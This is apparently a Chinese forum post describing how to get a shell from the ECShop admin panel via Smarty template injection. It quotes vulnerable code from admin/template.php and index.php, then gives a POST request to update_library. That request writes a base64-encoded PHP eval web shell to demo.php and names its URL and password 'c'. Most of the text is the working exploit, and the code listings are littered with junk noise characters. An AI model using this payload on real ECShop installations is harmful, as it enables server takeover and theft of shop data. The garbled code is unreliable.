Ecshop后台getshell

admin

首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板

而模板里面可以执行他定义的php代码，这样只要可以写出模板 然后找到调用就可以拿到shell了
' X. A: {! ]. j. [9 i2 s但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
. `% b7 u! p5 Cadmin/template.php
* `; R' T( J6 r3 G/ j+ N
) ]. x  B# ]9 L/ w0 y" K1 if ($_REQUEST['act'] == 'update_library')

2   

3 {
+ d1 }7 q& V0 R2 i1 T4 w/ q
7 }8 W  l3 I7 y* f4 f4     check_authz_json('library_manage');
7 b; W# N6 ]" u0 _
# b# D9 Q/ I( Y0 W5   

7 L1 i! `5 E4 s/ {6     $html = stripslashes(json_str_iconv($_POST['html']));
3 e; R1 C/ s1 C) b) ?
+ v% j& E& I' @. X8 b6 b0 A( K$ \5 ~3 }7   
% f( u5 D: E+ ^* F/ H4 U! V* U
8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件

9   

" y3 d0 [$ G+ B& H10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符

11   
# S9 X* e/ ]- |- a6 U
12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));

) P$ U4 C# c3 O) ]& N9 V4 Z13   

14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
7 N! f- z# ?1 m8 s/ y
; J% ^, z6 t% P3 f5 O15     {

. A; t3 i. S! C! Q  h& \4 Y9 _16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
3 b) r. k. O1 s+ ^* r2 ]
5 N- Y- g- |% C0 V8 R" o17         make_json_result('', $_LANG['update_lib_success']);

$ i0 G+ X3 l9 c+ C18     }

19     else

# x# I% d  n: G20     {

21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));

- l$ }" F6 V* e22     }
! z+ l) F/ Q( i" T3 \
23 }

那么找个比较方便调用了模板的文件
2 G( e8 j% e& \  Q) W5 Bindex.php

$ D4 p5 e" L; G+ v6 E  ]7 b4 {1 if ($act == 'cat_rec')

2   

3 {

8 v7 n3 x# P8 R5 |# v1 U4   
. O( j; g" D" D! L4 y) h4 m
5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
0 q1 Z& n& q% |2 _1 q( P
# v2 h) M0 n% }8 R! m! v6   
. |9 [) g+ S4 t  n% \; P# X% ^
) E" @8 ]4 @7 R- P- [9 O1 |7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';

8   

9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
' {$ C  S2 e. |- f2 b1 }! d! ?
10   

! n2 t! {; l- q, b& A/ K11     include_once('includes/cls_json.php');
- q! g& y. S' V. ~4 _4 n) s
12   
% C& K+ ?; ~# @* P9 k2 p
1 E0 r% u7 Y  F5 t13     $json = new JSON;

14   

+ D6 H2 r3 Y; T1 f15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
! F4 O# M! k) N) o! a$ X: B& Q0 C
9 \+ n3 i6 s0 ^) G5 ~16   
) @3 ^. |2 g9 W6 X. w
17     $children = get_children($cat_id);
) U9 p# ^- w' s5 [2 M5 l
18   

" |/ u, X% u8 H/ Q: V# e19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品

: z6 T* y- ^6 ]. [% q+ }20   
" v6 z; c# ^! k  z# }" T/ E
21     $smarty->assign('cat_rec_sign', 1);
4 @. T5 A- O. Y2 l8 y: p
( A% C0 g  ^+ g22   

23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best

6 ]- f5 n$ l" x1 `24   
) E: i0 L2 Y! j4 C& Z" T8 u4 B
25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';

* ~% B* }0 p" A26   
2 q+ Y' Q$ k; O( w" }
5 M1 K) n! A4 ^- w: f27         echo $rec_array[$rec_type];
* M: H( b, ]) z! C2 X( ]  V; s; s5 E
28   
& R( ^  W& d5 a- z7 C
29     die($json->encode($result));

30   

, i/ n/ h  {- O1 O! c31 }
' P1 u2 G, i2 L6 u6 K/ {  s" [
那么就有利用方法了
& U% P, j6 v  \/ Y/ V8 ppost包到http://localhost/ec/admin/template.php?act=update_library
Post内容：

. ^8 U2 j% U  g​
- o$ t2 E6 n( h. v* P1 q: d6 l6 f1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
. D6 m4 x4 c  `: c; @
然后访问http://localhost/ec/index.php?act=cat_rec

1 j5 _4 b  J& i' B& `6 T; s0 Lshel地址：http://localhost/ec/demo.php
) _" K# h% Z4 Y; [3 p+ L2 J1 D密码c
! G8 w* s( ]( R